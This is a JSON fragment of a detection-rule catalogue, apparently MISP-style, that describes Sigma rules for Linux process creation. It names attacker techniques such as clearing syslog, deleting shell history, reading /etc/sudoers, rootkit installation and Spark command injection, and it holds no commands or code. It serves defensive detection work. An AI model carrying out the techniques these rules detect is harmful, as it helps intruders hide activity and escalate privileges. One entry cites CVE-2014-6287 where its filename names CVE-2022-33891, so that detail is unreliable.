"https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", "value": "Disable Or Stop Services" }, { "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", "meta": { "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Log rotation." ], "filename": "proc_creation_lnx_clear_syslog.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.002" ] }, "related": [ { "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", "value": "Commands to Clear or Remove the Syslog" }, { "description": "Detects java process spawning suspicious children", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_susp_java_children.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.tecmint.com/different-types-of-linux-shells/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_java_children.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d292e0af-9a18-420c-9525-ec0ac3936892", "value": "Suspicious Java Children Processes" }, { "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_process_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1057" ] }, "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", "value": "Process Discovery" }, { "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Administrator interacting with immutable files (e.g. for instance backups)." ], "filename": "proc_creation_lnx_chattr_immutable_removal.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.002" ] }, "related": [ { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", "value": "Remove Immutable File Attribute" }, { "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." ], "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/Azure/Azure-Sentinel/pull/3059", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" ], "tags": [ "attack.privilege_escalation", "attack.initial_access", "attack.execution", "attack.t1068", "attack.t1190", "attack.t1203" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" }, { "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/06", "falsepositive": [ "Administrators or installed processes that leverage nohup" ], "filename": "proc_creation_lnx_nohup.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://en.wikipedia.org/wiki/Nohup", "https://www.computerhope.com/unix/unohup.htm", "https://gtfobins.github.io/gtfobins/nohup/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" ], "tags": "No established tags" }, "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", "value": "Nohup Execution" }, { "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/05", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_install_root_certificate.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.004" ] }, "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", "value": "Install Root Certificate" }, { "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_crontab_removal.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", "value": "Remove Scheduled Cron Task/Job" }, { "description": "Detects setting proxy configuration", "meta": { "author": "Ömer Günal", "creation_date": "2020/06/17", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_proxy_connection.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1090/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" ], "tags": [ "attack.defense_evasion", "attack.t1090" ] }, "related": [ { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", "value": "Connection Proxy" }, { "description": "Detects known hacktool execution based on image name", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_hack_tools.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_hack_tools.yml" ], "tags": [ "attack.execution" ] }, "uuid": "a015e032-146d-4717-8944-7a1884122111", "value": "HackTool Execution" }, { "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/07", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_file_deletion.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", "value": "File Deletion" }, { "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", "meta": { "author": "Sittikorn S, Teoderick Contreras", "creation_date": "2022/01/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_lnx_doas_execution.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://research.splunk.com/endpoint/linux_doas_tool_execution/", "https://www.makeuseof.com/how-to-install-and-use-doas/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", "value": "Linux Doas Tool Execution" }, { "description": "Detects events in which a history file gets deleted, e.g. the ~/bash_history to remove traces of malicious activity", "meta": { "author": "Florian Roth", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_susp_history_delete.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/sleventyeleven/linuxprivchecker/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml" ], "tags": [ "attack.impact", "attack.t1565.001" ] }, "related": [ { "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1182f3b3-e716-4efa-99ab-d2685d04360f", "value": "History File Deletion" }, { "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", "meta": { "author": "Florian Roth", "creation_date": "2022/06/20", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_cat_sudoers.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/sleventyeleven/linuxprivchecker/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" ], "tags": [ "attack.reconnaissance", "attack.t1592.004" ] }, "related": [ { "dest-uuid": "774ad5bb-2366-4c13-a8a9-65e50b292e7c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", "value": "Cat Sudoers" }, { "description": "Detects execution of \"git\" in order to clone a remote repository that contain suspicious keywords which might be suspicious", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_susp_git_clone.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_git_clone.yml" ], "tags": [ "attack.reconnaissance", "attack.t1593.003" ] }, "related": [ { "dest-uuid": "70910fbd-58dc-4c1c-8c48-814d11fcd022", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cfec9d29-64ec-4a0f-9ffe-0fdb856d5446", "value": "Suspicious Git Clone - Linux" }, { "description": "Detects suspicious change of file privileges with chown and chmod commands", "meta": { "author": "Ömer Günal", "creation_date": "2020/06/16", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_setgid_setuid.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1548/001/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" ], "tags": [ "attack.persistence", "attack.t1548.001" ] }, "related": [ { "dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", "value": "Setuid and Setgid" }, { "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/20", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2022.33891" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", "value": "Apache Spark Shell Command Injection - ProcessCreation" }, { "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", "creation_date": "2020/10/11", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_local_groups.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", "value": "Local Groups Discovery - Linux" }, { "description": "Detects usage of the \"usermod\" binary to add users add users to the root or suoders groups", "meta": { "author": "TuanLe (GTSC)", "creation_date": "2022/12/21", "falsepositive": [ "Legitimate administrator activities" ], "filename": "proc_creation_lnx_usermod_susp_group.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/", "https://www.configserverfirewall.com/ubuntu-linux/ubuntu-add-user-to-root-group/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_usermod_susp_group.yml" ], "tags": [ "attack.privilege_escalation", "attack.persistence" ] }, "uuid": "6a50f16c-3b7b-42d1-b081-0fdd3ba70a73", "value": "User Added To Root/Sudoers Group Using Usermod" }, { "description": "Detects default install commands of the Triple Cross eBPF rootkit based on the \"deployer.sh\" script", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_lnx_triple_cross_rootkit_install.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_install.yml" ], "tags": [ "attack.defense_evasion", "attack.t1014" ] }, "uuid": "22236d75-d5a0-4287-bf06-c93b1770860f", "value": "Triple Cross eBPF Rootkit Install Commands" }, { "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_lnx_security_software_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1518.001" ] }, "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", "value": "Security Software Discovery - Linux" } ], "version": 20230112 }